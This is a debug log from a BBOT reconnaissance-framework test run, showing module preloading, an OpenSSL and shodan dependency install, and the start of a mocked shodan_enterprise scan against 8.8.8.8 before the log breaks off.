[DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:39:26,286 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:39:26,287 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:39:26,288 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:39:26,288 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:39:26,289 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:39:26,290 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:39:26,291 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:39:26,292 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:39:26,293 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:39:26,293 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:39:26,294 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:39:26,295 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:39:26,296 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:39:26,297 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:39:26,298 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:39:26,299 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:39:26,300 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:39:26,300 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:39:26,301 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:39:26,301 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:39:26,302 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:39:26,303 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:39:26,304 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:39:26,305 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:39:26,306 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:39:26,306 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:39:26,307 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:39:26,308 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:39:26,308 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:39:26,309 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:39:26,309 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:39:26,310 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:39:26,310 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:39:26,311 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:39:26,315 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:39:26,316 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:39:26,317 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:39:26,317 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:39:26,318 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:39:26,319 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:39:26,319 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:39:26,320 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:39:26,321 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:39:26,322 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:39:26,322 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:39:26,323 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:39:26,324 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:39:26,325 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:39:26,325 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:39:26,326 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:39:26,326 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:39:26,327 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:39:26,328 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:39:26,329 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:39:26,329 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:39:26,330 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:39:26,331 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:39:26,331 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:39:26,332 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:39:26,332 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:39:26,338 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:39:26,338 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:39:26,339 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:39:26,340 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:39:26,341 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:39:26,342 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:39:26,343 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:39:26,343 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:39:26,344 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:39:26,345 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:39:26,346 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:39:26,347 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:39:26,347 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:39:26,348 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:39:26,349 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:39:26,349 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:39:26,350 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:39:26,351 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:39:26,351 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:39:26,352 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:39:26,352 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:39:26,353 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:39:26,353 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:39:26,354 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:39:26,355 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:39:26,355 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:39:26,356 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:39:26,357 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:39:26,358 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:39:26,358 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:39:26,359 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:39:26,359 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:39:26,360 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:39:26,361 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:39:26,361 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:39:26,362 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:39:26,362 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:39:26,363 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:39:26,363 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:39:26,364 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:39:26,365 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:39:26,365 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:39:26,366 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:39:26,366 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:39:26,367 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:39:26,367 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:39:26,368 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:39:26,368 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:39:26,369 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:39:26,370 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:39:26,370 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:39:26,371 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:39:26,371 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:39:26,372 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:39:26,373 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:39:26,373 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:39:26,374 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:39:26,375 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:39:26,375 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:39:26,376 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:39:26,376 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:39:26,377 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:39:26,378 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:39:26,379 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:39:26,379 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:39:26,380 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:39:26,380 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:39:26,381 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:39:26,381 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:39:26,382 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:39:26,383 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:39:26,383 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:39:26,384 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:39:26,385 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:39:26,385 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:39:26,386 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:39:26,386 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:39:26,387 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:39:26,387 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:39:26,388 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:39:26,389 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:39:26,389 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:39:26,391 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:39:26,391 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:39:26,393 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:39:26,393 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:39:26,397 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:39:26,397 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:39:26,399 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:39:26,400 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:39:26,402 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:39:26,402 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:39:26,404 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:39:26,405 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:39:26,406 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:39:26,406 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:39:26,407 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:39:26,408 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:39:26,408 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:39:26,409 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:39:26,410 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:39:26,411 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:39:27,690 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:39:27,690 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:39:27,691 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:39:27,830 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:39:28,444 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:39:28,444 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:39:28,445 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:39:28,445 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:39:28,655 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:39:28,656 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:39:28,765 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:39:28,766 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:39:28,821 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:39:28,824 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:39:28,824 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:39:29,273 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:39:29,274 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:39:32,676 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:39:32,677 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:39:32,677 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:39:34,538 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:39:34,539 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:39:34,544 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:39:34,544 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:39:34,544 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:39:34,545 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:39:34,549 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/7dc5blb1ift704qtyun3 -2026-03-01 16:39:35,307 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:39:35,307 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:39:35,309 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:39:35,310 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:39:35,431 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:39:35,431 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:39:35,432 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:39:35,433 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:39:35,434 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:39:35,434 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:39:35,434 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:39:35,435 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:39:35,435 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:39:35,435 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:39:35,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:39:35,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:39:35,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:39:35,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:39:35,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:39:35,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:39:35,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:39:35,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:39:35,437 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:39:35,437 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:39:35,438 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:39:35,438 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:39:35,438 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:39:35,438 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:39:35,438 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:39:35,439 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:39:35,439 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:39:35,439 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:39:35,439 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:39:35,439 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:39:35,439 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:39:35,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:39:35,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:39:35,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:39:35,440 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:39:35,440 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:39:35,441 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:39:35,442 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:39:35,442 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:39:35,442 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:39:35,442 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:39:35,581 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_lomgxr0qih -2026-03-01 16:39:35,581 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:39:35,692 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:39:35,692 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:39:35,693 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:39:35,694 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-03-01 16:39:35,794 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check -2026-03-01 16:39:35,795 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-03-01 16:39:35,796 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target -2026-03-01 16:39:35,797 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", 